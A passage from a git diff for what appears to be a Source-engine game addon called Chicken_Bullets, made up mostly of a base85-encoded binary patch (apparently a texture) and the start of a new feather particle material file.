z6P8V^4JG`M>Y0&s;PV|S<$sxJX%)xKrm`yH5qTIbdVJ6dTw#9|CD+FN(a{dKn)-P# z=mXb4KgaFW7OpGWg0u_%VZbx5;JS9j`kU0c*YG|X`Gv)z?vVQ;ag=<(;dszOK4Z)N zBh+!+5t@l6W~7f79M{A@%=#mgALZo^3+2SSiFb9oB9+2ZelRo%!}*TWTYA0TbuaL^ z$k){=egqT-5dV3=FZEX=>Vets=ca{UT{4gJPa7W@`pZH3{eJ-b16IiUtsm*}zUwFc zM=R=T&xdsTKX)L{^VBUF%l9Mxf9}GCb5D1>2Uc`+bP)fgmU8&{!;V{vZoM~iDE-(& z54j&&B=Wy}k2GvFFPd^3abWTZ3IWAAzg&(mI*oSEECy4mq$^^@ca(=Q)c z`OJW=Kfmn&^o!2GcMtv3cbRuq|EC1N=nji(%6DDFz!T796YW z`vLsV=>=2X%Q5C--2zlP?6O^nHugZ ze0yVdE4tnHZ!LXfd%^Ij{`TJX<;H<84P~lj#hF9<2ZmPnA3xFW9>{wtFOTyzKJH5A zJOf7WQ;wo;(!tSg?gS3~(fH%u&*F1^)-D|0xk#7W=H@X$Sp3?d{D^&B^}+>$nvA zvdxlrfOth75i>qYBxVm!4E<{kZCk7?ENAF#Cv<`M*=f;hlyzkR34hQ?%6?Ap!b=rsZcO&u<=jVX%Gq#^r+l!o|pENBzP6yA;0vy{omMLv#3lX7C|Td)M-={qXBS9$z{& z@LG5B+u#13;J?&j2{Uf{(B_9TUv+hR4m^KgqCf0tsBV~<$A1R&g@%3m9(@M*M|%dz z7X57&9mr8h?w4LsBR{QjRV zSOmUb{g)3unLlLq6cj8ka1TBc*mG%5h<52$iq@`8A2cFAw6yx+OD7zv$LE>z4=t4u zjA79!&wy1+!8%|b(wgb@6VHZ`e!QRfw`Dix3LijUeU9Mcf^%&5C^%L<>XhsckGPXQ z>iNei_yGAr4dg%hL<9;1`z4@XeuOyhn+o)iPiVXJK93)yG~o}}K3MJ>K%EPJ5BWYF zlq)Itl}QJ)V_NKUv=e-u4$?7hi?|T_pCFOp%dz}7?`t#|{uk{3>EV$}-x&Jl;PEuW zP2U)D4^+Ea4a!jNK&9sQbDsCTKR(WRj?_2IyyM*I`4tLSiKB^tFUs>-`7w=rASd6~ zl{=6zggEX${TOyYy(RLN$bX|=cL(tgxet8+0FzPt2jDMPu3XO;Fn71R3&C%4+lqd( z;w!Y@&`$Yt#J$`6ynFvEo!zx{cU18A0)xpuj@^Ax?R7-@4#Ob$=H(y$GxN?^M*w}N zM)&*qk^l3Kv%^s%eE`DOqQ7K)KwlvEIG;ZdxEy^wP<7Cl+|_W~P;S7gdE6)a&(IF+ zcocdc{ek7Ny0FXX+|T(Ov!-Uw!{7hg-(Ow57Wl6?Yx+0xf#LtnzADJy$=36z5yq)F z6xtX{N5Tqm{n@hOO~n7f>edIzrS^O59os1(Q3x?92(|$vXR~Q7H2XO{;h+9brk>i`}<q`%7z`#)hMBHg<(cCM4hM(#+h;axeZ^o* zLR^6Kf3okmGiuaNFnIw1koayR@&&ngeWGjS=u@u}Zy-AUvT+~$f+urw=5K&!@$>8b z+evTS9K5++;d>f92X$8y_r_xKRpD0w{YvCt`?uv z`+7_6i37f7kJidpt@H)G6Qf;{%wnqYnX2FQW@;+Tf+Q>Z;SNcaid?PUB~N!)!* zAEzqn%~iOcQbkJULEi<>rpuReNgkIR*|tr@JK-O3L*SqAD@pt9fg$)6*0-%zIq)x+ zrzBSa??2$R%adHkyUk{~ImxxbVdyhX5RWK5U0Ol$f81B_iBaz>k-S!BpUF$UQ~`d` zN3cf%Z_xKDvrIw`z)q=+2qdpwqXZ`YzH{g^_I#%hZeqW~&YL$lN-H(%)^+_9{lR1i zRQtToxZ=L2D7)nKzW-E(MDj$K^CTpvWKf)}#HfeAp6^GTAxJp1HJNP%q0_x@#)Qk{ zA7Hy+-^2dhzIHps0a0gKtM{KIJ}~08(ZEt`Ro(Rfc;SUFJx6i?mw`S0@DOL_7%!AF z+r+tT^0ylq{w>(>+hHEJ!x|D%>Czb8F=-eI!aV4ou{U^J>X`DQi{Katf94r_x{-=#CYVz9xF zsF_tWOA7qM956D!ph#z!c`VUIaUC1*|CDZ3Azf$vE3bfWjCjF`oD9-q;1%7VxX^md zsAh$42CG8|;=C3?03^OU$Nu2Jo8T3kbG|xwb1)I-?l|%cNsuGj^~1yGalM?pnycg& zKdV~YNOmIZSmrONRL`nTLysn;=|A%kOsgM@$HI{Y^2b=hoAMskT?zn;|xK&-$nFX;7-jt&+Q4@e)Kn2*=R%}kkn z4Sq}JTtyq%CC_QJ&(V2Pa0SvowNBxfs zpdD@!^#8HKRjXE6!T$yPl{QZ%?Ef2mkNKJ$H`m|%0mb=@IZ9*}!K5nV$2`|2z1D zi?A#0H75`EF2VJTH}tHYywlm~O7@-a?!SBM)_%$_@HY7cTn}RTNs6PBUV1o8enCnG z#RquH(=5)<*VZ4Ve!o>stxmEJg09#W`g>yy@p&nZSc^Oa)epGAKg8cbV59xO_H#6+ zX#w;UJ%+nX{Y0tW|FK%kbK;$1-BAb!h5p_;wPIoNp}jrGR>TwVDd;n5HZ%QSktC_Q z8+vE}FXN}zhlVa)(bUyd91b*l;SUrZ@P)l~j)PAg@cFz!{%w0Ee)&U?^ZRi>ijC1h z!qHk|bd2!j-g4$RJ#J}pGajIf17Fi4^%bHph4O)#b%S-pE0~r4K>o}I^zB3bhW6nb zIrDRu_Mt8S|A2qT!Gj80m1n5~cI}OgkR!k8m^_t)&wF{(X3cWM^&Uh+GJ4;5w3+dO z288iudW`ymizJ6|JI2mAO3nVmnaDS7aP$jaNusOFu~rZy3g3Q*>P}lc`IFmYr|S+t zKB@Xq$cVU8WyN4V?=7wDL%iZgJ^L!-t8FKqarr#!>X&An4h(mH^UZ;RUEw34%DVX7 zYhVW$qb~=M9rCyHzlEF!&cmVc2O$SeA>KlA;HQzu2V_?Z19yef{sQP>{uR=*ZMZ>{ z_wCO9CG;-(|Fqkq4F8Y|WCxgGUy|J}1#U(Dfc9T#-Kc)4jMg<}`Oi|EapK(N%On?I z*4NGNJ=p;}wL~tOnASJn&tnFjuEP#Mc!K2%I6NkNAKF;fMEHwOk58g~Z*Fhj zgmVz6n3w%HJ(dS-C+T$0ETzuA(=dY z8{J+TnS|URegesj=~b*xp6*vHHA@-(L35H!<9>Rj^Sb_`H2qr0=hbV5>z?tg^nUC0 zy#D)r2Yj_}zjTP~`AAF{yM>IqUQ6{^=(jsOY-RUNh=u8Xx1#=>?iWa*We4N=sAQM^StBX@qlGTaTZ(rAJneqH{$9QxkzyRCi5*I1oO zHCVtw9#pI|7T~)M3^`u>AfXZV8S zCG)IDgTYIvSLL|2JJt9deZAXj)`sQYgt(L$zlI%fV`8|A#Rd7{x+8&w16e$0CpqAB zwztxKoIKUv9}WE6-);{=eMaFflJ!wV6^onj4_bdM%Nrz_rG)D` zR`*H$9{3S zpl=D`zo_pDrhT3CeH#u3yg68m1o2M z?@38bO(Fc7P04Rj{D1BCtNlk||3eS2vjQ&%mDvZE5&jFWUAyEbo&YajTtQzUqBuqNOdDr z_eGzZfQGQ-XHG;HxPX7hGLvZqo$F%oK@`3v4f14@iTqrBOw31ed^_S0nGG^2C;P)Y zm#%0T?z8(P@dAqs9Xqi1D-{tk_QYu1Xi{mXSYWbqV!mtC>BIJUz()j4u=A20H0b z+#xz5_CJMQ0pA(*YUl^@IqvZob^`eUs4K7A8O{l)U%6@i6Y`*+^%ZV?#>aQ3OJz!# z@1PH67{3X4HtIveRo>%{lHy`^Kcm5V)Nddz(AsLJ`{s5F$mazt=u4n7d998;t*YBu z-u?C}z7gJipnmJ4TWPYi{IXxcEN*fl(N_DEH~2gQ52HHp6@-8Yg14>|8|?An$A(NUZ)}aztz~-)O!~F zK1^~O&Hef2E{e~6hB#nqHrWYw1@-&J-15fU6aDc20sriK;ePu0ROJ8U*-E*4$k9Xc zTg3ltIpKeM&yK4*{2Ln$sf8+&mKv+B< z_~o$QQ0K+O2l$i!4L|I4=Ua}31{3h_-*$uXhzuYYQ6B=pzlH2s!}G>s@Y4@XjE#*| zdG^`gdTaMvg!iM-LcIxb$&o*N_^)K&swebO;NN~Q1)mRp7@uEE=RP_%!SWC=gEHv6 zEMDAbdjkCslT&hL6`>!K@X7f!((h%5#Cmakd$8)^tKz&Mk_W0;+r@rTb_KH+Fy5h* z_(G?UN2Gljakh05zBv%|nLMcH-l4S>JZoC#)?1~twj-`LrT@+J81{pet$YyAqaP_8 z1(HWnGlz4D{@uvKvAlr2l|5evxj?TQZwsTJugt5{)K#>2H*{yag^880<57p5!MPMZ zghLW4z~S@HQ0Hr2h?w$J#tgopyV*?7Wlrq)XpY$q zSDV{qzU8iY*4U26d{#$%mV51e@B^(uzl!9$q&`}55q)MP(Q?&AZ=+=}R-!6Hf1tWp zf8=SbeEFn+^JYmslZ$$xfW_<0D}N99r&@;p_bezY=_kGe{3|g(!Tp*4n6=z%b-IQe zvR#qoo_GWV2ZS@d)_QX~)y+zI8^0@j3iCXJ)}x`j{ybswGV4b>Da3vrieg^Fgg|k* zfj{l~6L`0N=WVB(>;trQv(xLs!uTYu$mcQnv39L6PWY@s{E__k%lCQH=y6)5m|wWl zzx@u$4b|EL;COy--eU=fQ5WbCtMkC?>d*A!slS%N?y1Eh;QJf$6 zHL&-!D3!;ZRW44-$q8r33+Prt|HIx$C40WFsF>-01MGeHcXpHsC2xSe0P|Ff>m0lK z;Dhs%edoGAY`9>S zOZ^H=un+g_F~yM|SyWPFc#Q0foSYL<;K5L&E@b$J;K+i#*wUCW!{j>uKIOUQ;&Z?G z=GBs2;Z1$u7bY-Vg--LdmIy}l3Ayfn*c68uYx=rcl^rXD@W$ys3@y zun(icz;-j_#qhX*JkU)0$KcEEckDGwIKBT|cWLEtamlV3#}-#ks5)XZQ8(C;96xss z`V8EHT$>5ppS*43-?Pj-W|>o!PV4%8Rq51shyxcQmMn(?t=m@PPy9NdbzwTpgc6xuVEn7kR_qt3brB#EtHQD#Upk^E_rm@3^Qo}^mAR-J3jfSUar)e$ zBfx*m&-gz(DF5-9Pd^-`xSZW4&wicc{u^)f9;SH9vKNTwGpE5&WGo{5XMS(~Hxga@ z9o;Yf>#G#!1MkGfdni7inqnoKBW||=^#G&8qo+3m=QGe}FblY)`a;5=L1!><@cT_B z+b!bx=y9Ni@O(>VM&>PVre{6BUZ05T6#l62C3<}kg2hIE(PrccL2o$-Kg98TQK6dhnDgf!8KAgUp&`l82yND@PR{kHO-j1jJ2uCX{g$JaKJU+^a(c9HOZy)$@}*#oMz ztC_t3yN6awEzJi-9Vq(F(LO2c7_fu=MYvzAL*S4X0KV(FR<>5xi~fMsoCUc7e}PYj zUPqk*D)4EA{f`y-2=tYp6>ZHiKNS862#F+jEGRUk=bg^hPIcs$R|cVnasu$P3yK(@ z4{DLC_U!9cz<#v@|BGuE%V|xTeYmXIqi`iuB-~E%4R@oxU->e~jl%p{@cWNDUj;9T z&VjLT>ng%Oc;m_}$W{1>qrkV*=R3IDjP=Ng%q*!->awA(Dd<`5*?2<}JnuBQq`Vyb zebf=?)cMrsL#?%}*#P|O$F_C_>R;0j^8BrUWpU-5>^wK&8GIPq9N2+^yYroy(D(0t z>INI^y+dz&z?*UIEd8h4H>qz(|Bi4g*#pA7F4P%+>6OvGqhDX?$~qP&OGs-$Tq1fc zdVU%7e|7ck+fM-hvu4%wU{;Fo!`08CPKNqrq*c-iah*nTprl0jl=i8l_@yA>Ul`9D zCp)~!mcifl7-vhhE z`f=1roVpu24SDjZm&pUcjd&6Iuixotp?)uIup^1buHPITroYDwu?eyhVq>l@Pcn#kj|@E9L-9DmJ=DLR)~h?n z|4(kNsOVz$zYT#M+V|eWN3I~x=WIJ@3(sswbjfjn{kZ>EYv#|Qc35Mlk>mTqomGHI}8kB9^!y*`M)Q{FMw z9&IDs+bm7|*T6%98_TZi#DGb9or2>P7W7xp>DG0v@WwlM1Q-we`(6j^1%cvY=BTP> zIr97!=(8es?SDVMisz6=>5ly@g18^`-JYrwM!4m|qxf)du>tv6@DT_4m2_?f%I`?_qd#y= zw{DQ?fZOZ`)0!HdJ|wg_x%bdtY+Q&uN9QV1zWuvwb!VsG{dU#lh?L@gsz^AV&X4M+ z(K?$w;T43VzjoWR($!Nk_5+`Hr7Pn|&W7`-cdgpJd-mL(^WC|KOR{+-HL848FN1h0 zlLKi}ql~q;1Bl7t0kH{XF^|KuVgm3rB z2w3>n143@(4(WxEqgg@wje0RN@w!HEE+}5eTWBuO8Ub%dKbLEPH&5A_yhdFoNA;bz z-6O2;Q*hW?ua1BZW{8dv-pgZwAoYjWYL=Ig-GQ_;@;|yuXdBG@L4{)OTs7tYjuvXB z_58h7!av}j@yO73e7V3s#r;Em{pO?ieo0l8UlAg*X2M?;;y4Gh4`QFNZ*N?=vfl+} zsYwogF8n|P;&ArHLwWP_@|ZqHJb>!N>#WwnTizcYLK&Zo{CvPpw;%es*Zr@f%3hMS4PLSGW^G) zeH15vd!f82;{WG#{cHMYw9KJE-iqoEGVFlw#C>PyG$c|U!!yH<@W3$T3Evd_1Gl`1 zu0Q^9<3@UnFhr5u)p#fYg@;+5TMbD_fQtG*Ki_~j0Q3dxUm67=oa*oA*cwX-SC9i$ zB5uXLqXHas=AR?6Nc(RTI+ruKkgqBwIS@Qu&-(w(L13Alx7lhpk{p1!K0r8bYY&M$ z!`2{HCJ#a)pFoQ~WebLQo5eQGGh&amHVerQg#VZw;C|WJN%bkM)*$Rc#4R7j^~V9sUMS_CDm`G~dU}^8aSuoaKGm0a_rR zg?*Bv@QmsI(b27>7g}!LzD@qVT3uMU$+yDOI?}n*?vb5UEnY2I0XeW!f9A5xm+Vq& z`KqLM!8?4kHwk{7y;^$bzKfpM%=%C2>yQVsPlns;lF#l#zHhRg1JAP{(wYvt&fY&> zi9Fyw;GLHoK)g^j*@}9_L|2QnPII6q%M}d@yR@z^X|IjybkFpd8?5zvX0LR$cwSm& z%DCY4dCj(bb#~9W?!3H{?NjrL@>#ts>P1-HOliJ~tTGN4p!*Ao}DTi{$IYx)JzqI`S)oOFXML z?eCAgc{Ff0@NkpOLVZQF*k}4X?Efdpeo!bBf0O^q@Q=7(yFc3pclZS1UmMg1F(1l* z^``~>GBBG!o0xUMy97L2Wd=WmlT5^Ov-g|!6aLZW1NfiWFe@i=mFznX4VK9dH_TfVlqZOmEX6luN}(|0l!nFp<9x z1K^;K@(@$;M#?Kd|7$UR3I2xjR=BMt)3fgozwT)JjDUR!o;TwutvaFqUTY5;HK-POL_a|E0~*r^L{Kc`yC-RHc0(fzPczriSP~B zi}C;ppC02OM=Qhv@DJWE90#iBL%v?1{C)@i5&lQv08soN{(rRsa-cDz26;oy6WbY$ z+C6el!b#Oy*;%=#+O~1+V~F>m;eVUVCx7?U{ptJ)pWS1cYvW~StqpYxT_>|pf27T~ zRd7DuW3@DuQ9ejgaZ`^vQip_hURC(^Vs%flJYa0C3jO9hjW%-{)unHHX1i+0`R_l| z3=R(Zzz2#;KG@joQM$U$3t=yKftf7<{-N*z?^W;@?xh!*9Z-=}L8}#U{$1hRq2a;$ ziiJbte#2eZ>^5ox~r6*JvUAtkyPh3ovKRe!LBH)PQfH zL)-`SvnAa7b)hJo1N6JA`wb!iF#9{`^Zv4LFUf&eR2w8e;5nU!)wxgJp1e(VNaT&q zUz49nyk&|*%*A;nxx?MZv3`%)cDWLDKoLn?eEhwB=eh1?FX(%$|3_|aOUFX^|DTKn zKfx4b%y%q{KW{nh2XD4!gFV?tygZpN!Av;W4?jHj_T)!oe~oE0TakCM)V4OY+dN6G z%{yQCG1>V8ecJ{&;2-c;g6Go>cb@5gxBJaEslM!2M~@yA@xN*n+3m&P0Z}|3@K2`e z6K+Y*FI>0~td&F;zk7FF8S)5(V|qUJ>rUW&ANI%yX7Rz0GnZ2^%eUocIK)qSF#v30m`AQl3 zmX>L4TEB2A6py?j_1OvHe)q#4P+P1OQ*uB`a(ASi&!RPi{%N$voL2Y;EM9=uvAQ6J ze}wOO!hJsakuy2Kw>Q(uIfKkUuwh;^oe!<`5c4mbPWL#ypLg2ZMf~#?(N7>bAoeev zek{s?XpnuL@R^aW19t{?3gn1en56F$&na48|9DCc2*LMN`MO0Hx&wU(6G%Si`Lg*s zqTa^^ME!5&&;R=dN36W0K<@d7hn|s>AFx%o6?I)E&sQy9eLKlzb>!vd{(hDU!(`xl8Ahe^-7I$iIuI0JYaBxhpA80%a1 zrXXa~>k_2W1nLt3d|O#xD4wUDD>P>e{Q<=FR=3%^Ub~)0^{-c{%w_Tai?{x80bNi7 z+!}urqAqE4^Pkl5x5#@k?lgYF@6L!t2!b06JzF!;+TJrlV6YjfAE7Y7}sW%b+ zZx-sRPKN;hgz5V?z0&=S;l7exkZ$E!Up_MwCf$D?3bYS$;(0Ium^^3?zC-wnjR$YC zbC53D1>l*ZZ_RbY6@$z_fIZLTz{Xl}KCNZF74r}t8rpL?^;3Gk9ffayiF@J`Pd}#p z4`I+TU7zD9J`CP4;#+jynw`HyJOFk=n|l({D=bM(NG1KU2!$?A%yB9x9F&ZHbgmnD zsVmG6;5pa>r1z)n0yFwtcN%+MS(F+W$0O7^isNl^q6HVLz;dc=pfG?=_>pi;D69 z{b9Rwj{S#v;W+gTd(V;^>yl7ifEIQMohzhS1>%3KDXX=RTo5v|6DeLXB3o7YxuE->C8nC-Hnd@`KlV(Js1z;XjV>zi?<`B0Bc< zfg66bv1z~I|Al|sBFQ4iflC9|&-^p^IX&_5UqWBOBfaI94b-m*{QQm%@Oc6_mv52Z zugWjgVm~5PRdq}sfF{-kJstkWlEfv`=jn^9UpN~1EqH?DcS_}46U7U(!*z8e2Y7qT zN^)i*7LAe|$UAc!`wRSji<8m0YvRw?s6QP1E&hvg!0g@M{RI3%2k=k!|2X>pCd9?X zk^f(hLWYNj-aV^bALOgNnGLx)r%uUWN0VO-ydY1PoI?0tH@a?^@DKPmk>B^g0}p%^ zJilW_1FLr=L;ovNlo{NV{-=HJ?Cf-r-A#5PaPBnVM$+@@B0YE^6faCsCc!>5s&5$R z`76bJh2VLyydcR1H5_%~djRHfO#dU1K=>~zTD_X$4%V#SW|2K$+D&yx8ywL0<(rZ3 zr}!p#g-)aybadSbhJUNmbYXWj`TsiDuf%8hMn_Ez*|kphogO+jIQHNX+WSxjS~nnE z3&kZQ+|!<-`6kgQ>bY^h`9IG+6XzNcerP{l)>>HnAYRIYCkQzZ73BcJ`piF2m9Am) z1>1T4CfNg*z&|59p|o)g<0D!$Vt$`@w!&|u_&^Z;z#~JgtwH8T@~!P7&qGdJ`t&lJ zTcfs6KP&JSi7$w?DlLi0f$C;E#RCFTDaYox+nel7)BV_;=)YLFZfl{a@2P*-t#_)X z?0@o$s2;md*SAd${3~$|2>;g%g*U+ebpCAQ)s4jeQERkXIsCh{1unG=et>DNypinu zd{dMBG4j_SZov<-s|w2N=QLQIX_Z_f^$*pJ3lrCNc)(bke}J|+NJhZ&U^%Q#Nm)zLH5ASC!TN+ zK80QV%ua7@Z9{yf*3ZpVC`b;swb|{gUN<4}Kj@WdIY52@=9|Etn-I`8P)hrT_TyIC zPqW#|(e*wF-W+7}O5AzO&rrw}sT4nGywzx%-q$b6fo0&iJXE{)A(02%qI_iFAAGXZ z)NJAbaW)h9g*YEyo1Oj+;`LXr_U02mcNK7w2;RLcSq7dR>^}S>Je`W1dXx7wIl7;E z>M4@P`0lX_;BgS1{}TVvkH>)jbKS2)@e-bqpV!j+5l1Xs(G#dAdjWAh=h&ET>^QDd z1fCD^0&&d1|KH%yjTsPMguk$QbszDC==z8s0sq^IN&ef=e*pC=&fUBB>=E%_UQX}N zK>&~B0(e8r51EMhdlire4ex*WA^I45$giO9ed;%-CP{y!W~XMe^ACOT)xc19Pk+t- z$6x$wyXy0Ob4COh26W%ee4}bgF4T}5C>!BGb-Ihu5(D zW2s7%A8D0oX>@&s(+++j@&d@u)AzBT`TU$*=ytOH`AlyDIP5-HIo|a94W7uqMZoX; zsQ#$s=uyIba&juu|Ahv9p%wUlRoL|@@&AdxPIW(9buWS!2zxB!R77?*%frbtYDf;O ze%qp2dDiSHnRrj3@L8P&&+`=~_o5iFDQ>z%mfc$(%mr;u{(5bBE#-1A>5jWvO}0P*k+nytuO9 zS(WO%r?e8~9W~~jna$GH=uY0XSU*^#!aTCXYAqa~=Q_WHZ=vQ)AIE}?Ba z%L|rczAE_vRG+;N^Knar@`-WS0ovbN>oC{N|Gbuehw_AJJb(B!;solbT7$j*Ehow!;>amWAs98Et@_)j-;96L8s>1>KCB3{JgyA<;X ziH9<8-eZstcLQ=5>}D6hMB*5Vq*15jquT%6d1Ua zSHPG9E5!qMpkI;Bzu%sZfl9=;S-yObr^|3bZ5C(dio^023!ceiZWLO7J$ z@DKPWJd6JS7~|I&{V^l>JWiAC;6c*=V^Pg8;a^{<)1fY)J_Uq9;`>Zs%oy~{F=LV1 zz`-vdoRhpT7z%X(@%Dq4gnx9tjMM(bXK#Kc1;6#FA1wO=^G`IoAjK`g=g%Sh zqg`=P8P3Z!L!XOy?RS4sUXFM+;~P8;yXAP(@g|xtC&fPz{~W&~REPPJd4DsXI=xSS zYo+@yhl5YJgE@eC2C(Zm8?y&cm&@dOJ;$TY40XN$I^j6K*0Pb-H86-pIiOlY`Dvcp zhw|_FaK6UQhProyfEB1NI(DOLG4ndH?$F zdb-jf2kMXUW#~(TdZvzYH+`-O#M5)mmwpC)5?x%GuwH_~sl<0nD|0^Dr8?(YT)7T& zkM_adfY=ZgSDt?X<^E|}$emneqtYMwQ8VSK8BeJ6aE-_ptg0hBAT~O7p5lS!|2E+z zf1n)lob>#TU4n1~e1OYB9v-1zQ<@ZYz6HJ2_dlLSa)GyEt|<6C(m3Mxj0I#08TfiT zBMI>d|M<7g4dIw@Mdu}%voZb%^ak5U&_7t-NOd*R$@aDFNywK8p{}Z~ir#1Dt%$Vr zkzFeGi$>g!>Nx=anh;jBA8mVNXoV*M2Ef80@DgINv7_JtX4UiQI=|Ikv})@j;`6Q7 zzPO3>zcN*sP4RfZmf6!M-JPAsyEU#iVo%1H9+qd=G~PLOh#}w^b0?x>Q93t<8@g*& zH;Z$Pj{ax|T;)lVYD31{*puY7lYe)WC4ovw4a0{3m z0Q~qHq3;hlTgN{pd!W_&VKd>|jyhpl`PMUMs2<_*f139p`I%+tS5A-b`%uPSuRu7A z@LyG5pC$4G++jK=fIs+yn5U*aq@i;Hb#Ep4gyW%Je#I|jz`h+2lDw*d!mcvMvMWdz zvij~(Nd@`=gVB$FL)}RY6=_{*8?PL9Z2HBHwMnj}j%4#}^RRQjBlJmZLSqkfKdd$L znAdZtYthZFA!li&47fu4*O}(rdAkZL$A<@q|Cugb06)#-5$=;rtbjZ)^S5jVdX~8K zW-~|e|MJ*a-F{c5Jr)jH6A|B!#?(5n|0{XEPDysbE}@+D3s}!S51n98SaGggBSoKGb=LL65ONt=;q$3&q1wY3n z*#Yt32NVsJPmn)w!;f@6%M1Kz<#*Ve5L<2IMvBK*Tlt%$M{8|b{+j=Bzy4k8Z|QlO z6G`&8E!#eq?mx^g*#Cw|!apY5)Bm6Te9^xQ21#D4wbVxf{-3o9aRlOlP`-)$LC#Fq z?L=WY!+%;`1??-giOtm|Il%T;tyYsfH{%a>@WT~c>)fvoUGge1N8vgcfS~J|+WnCL zZ~hwk0bNF2epdzbz5T@%%PtX)!G{6AANK#~CyNM=ot>D|ivItHA2@uN9vjCdbW0&G zNdLp1@7AI|l=OrS4iwD~PLV5>Rp6U!HEcD|^^h+%WWm0e0RceyK8;?xiSQ3tYN{~b z375&Z1-W2Q8`UI#jB11K0_q6K4k0_jh(bcjLq71}H@`>cDGmWcx-RI=ct7F)1nW0O z^~5A^jvSf);054ctNzJG`d&z1!`}#4IuN*`_YrS_?hnlerGEM(Kc@HL@3o3@*(T2M z;CM6b>&w_z(Z1tt)X#AT8i5gRVGaP#u=hBgBRyYR_O_N*6$YBpc|!Xkmj88*kF=i- zfNy9kJ4$k(6alg6Iw5*L+Jzu)gg)pudC~uD74g5`YPI%54h8upj^vZw{&}2u`uF+; z>6M~Ei3IU;uS%tpeEJdet4amA3k$oZM(p3WruHT9K%8y2!@2Z4zj2?1t*`O?{`TXJ z{+c_8%Ax+_$p_f;8*%?ilBBjEj_8|R zyF7{PwsJl_{(!I4Q68-WAK*1}!Or0d%qKM0E04tJ`oeh3O8dGeA>j{0-H8q758Qm^ z?4cR@2}2BezO*hLjy{`5T=7bNhCcm&55|O&e}4PLWoQQsp4Sp>i&7R(`~Z|Y{@E@k zJD{di1v{W<$UEBo9TpF$sEB8Bpq;NO8oCx35DXJ^|817HYsW%oP)FchNO?K9b<93M zIW(Im+JU*NO#a##{=FU(R?5bAQk$A?HNT!lCQPbB@lt8ggC2_Oy*a3xdvS4LVHWV8tITaAJa63e zJoGtuW21wE#3#x{Jf8GC!hg&z&>3{POyD0dLto%3?*sW?Jxp;MwO)^Tqf{?^;snVH z!zjrMk_(?`&J+HX%r9^nkUwDfM2mMcLG5?zK z!xaCcd2?#yfz~tqf#b)oLA^M}RUyB*Gopx(lYH^K-RrSmSm|8{9Qk1}sq(j0EWgs^ z1U-0y@Q&&yl?JQr;eUZYg*l?l|Af0ervdHz;Kc>%kDjiVl6?k6F3=i%1AV`od(HFb zzj>1SkW`{SBFP2LDcoW9fzYoa9*IODAg>G_KzeK!@qgmoJ*oq+6V|=&%K#tr*ayAW zG>NWn>#cQN>w}K&7lK!FW*kHw@%fvWGlKX*No=?-rFn7X_Dw(7v+CDxBO0K>{9NF^ zM=9xyytqsW!EmqN`}yu zM{PN2Sy#mPvo_~q)znkp#Y!UxF?0-Wf@gHaW1L1!)h(w=%&VL>cApK45HH!yG zIoPKkMAAVlqH|K2CXvue^~Z#NitjM|!+~Sx3-%_xU&KGt|7Moos^>ZK15(isVByfA zo=W5asJ|f(0^}nD^LwRI^SW8RN$BrUR77&sjk<{A-I<;TY=^PGnGK!o%~|Nr3top* zLHn%Rs$u=+l!@8k1@8BL<=bERS`zyDYBfP7?{m<=i14@cN24Fo>osG8i_QVpx$|@L z&OtA?Y-(u~{c^o#2=bitZ^~kLh$DQ}Vq9Sv)=g;ySIh8>@rfci!6N>5i@#ol4$EsE=4zeFxLC*gk#2%q(2{Fm_l*Eke} z-$Zz=7J2mRm#VC3^}h+P4Y#+4Q9p<}(Fx&WlDAeqi2HxkKLWp;a9_4&&2yq0u1;t7 z-yLr0zHMUSO)PtE+3P1N9(i z3$31>?}Dx{-n5Ez*#Gde@cH8Pc#d$c*9PGi&S}WYa|?v?3%5T~EyW6X`_NGLen%eU z6g|H@G;SpM(FJ)$uRrl%-dw_Ea&`9YEL;crdzkQ=lRKZ`_0w0!w=lV&*J>0!WvJsj zal(r06crYi(0S?Xw45fK+f8&_Qk&W~6h5Pb9rvJZ)FL7T*Ie>6G+b{Uz9LWWWL(o2IM?|@RNx0yL?~IfqzcA%5 zko*sYFi(KVflz0V^t_n@#8Y+xJ&!UI*q!hb6=v|0c7`KA-I*)Kx2w|W{QVFb@r&Q< zzyCNVv`#{PLb6v?R3UjHg6zH!tB_+qk9`mrW_`V5g0SaT+TY{YSb%?o6?iMjfs=dy zae{yaaShh@3+*^=(et5O?W{joYr9j+zD^Fl$RThfrsgK-##@EDGKNK@-EZ;ulz5} z>zMw&OkaTiIlWHHf$5db$(g1AJ1=EtnzZydz@PcEyrB0XzN3X+B>&$^D;D!|)JMt_ zzWl9J)CHz0+d2;UE_t2d+x_qOTD^mzSV=0y@$`BoH_W`1Be?;$hRF{cPvnVdo*eN+ z@jT)TB>&BFl}fC~o~j?2?jz0B^CS<}e3|A{(d&7zN-`TBM}x#Acs^s6N<}y}8pmN5 zqW|ZUbJ53PsQX_wqW=t@-x(8F-43b?xS{S1-ef8I!r}d~1=cKjf9>KL)@Q1#g638s zo|ht%Fh0*^f#vt+-Y=2R_0-R*W{L98jNbuyIQ4t*HQDdM&ww2B3&ek%zW@KzEBOVn z=rsOqqFsQ4F3N#vc_2Q<*JS&g-^#Q2A-B&)bqS$hy%-k)54nnXzagGO-tSn1FT(&# z*!%UodW|6bI?`yjKyQ)V`S-y6U*lu?J|X!XS-tADRYl>}D>}%9M}|;`I3|&t4$S5! zg+b`&ryV5&)2oo3oEDx~n7>~gd{*Un?*aw(9*!^2J2dK?rWA?#F>qtB6S0cFG z-`4L(JyJ$vi}y8iTta-j4|*i2?pIf{QSXC&4c-sNU~$2A6}lPzUGP8s`{|k2i z^ye`>fxbY~co*dW#-dNz19VPsT-bS`^)H`?I;j`&uU6B1*nBjQ7xkT)r~2s318;u$ zfS2>kOTC=y^KSB*?fe_QD+fHGaksF-bNdQtt?37V8&yzar1t?X;Dt`(hT$Lh!(+23 z7x4Efc_88+a1wDfg)@i^5qHz_1aD;WfW4nxuRi%onfhui#T{`t~>KkmR> z99Ex(pUIJ&slHYb8uhaa(GmzU>)DP4CnUN7AIWf&I;Q6V?$OuzKp(+-HTsRgf zP#w0C{8yc@gTHt*;#5c_EWU>u^7sCp_qyKKaUKyi1FxymIjk30AL^lCrNm0Dc-?CK_`+>0?R;<@8^KG{q7UyZuIzwbU0{-L&D zKP?=hydaAU@^z34H~b-<&m!FCx#xY0;s%of<&!a|EB)U5{J-`6n4Snu^UbFDCE7pB Sg}=l-j`@_mz-y=DyZ;Y#uO>GD literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/materials/particles/feather.vmt b/Repos/Chicken_Bullets-master/materials/particles/feather.vmt new file mode 100644 index 0000000..10efcf2 --- /dev/null +++ b/Repos/Chicken_Bullets-master/materials/particles/feather.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "particles/feather" + "$vertexcolor" "1" + 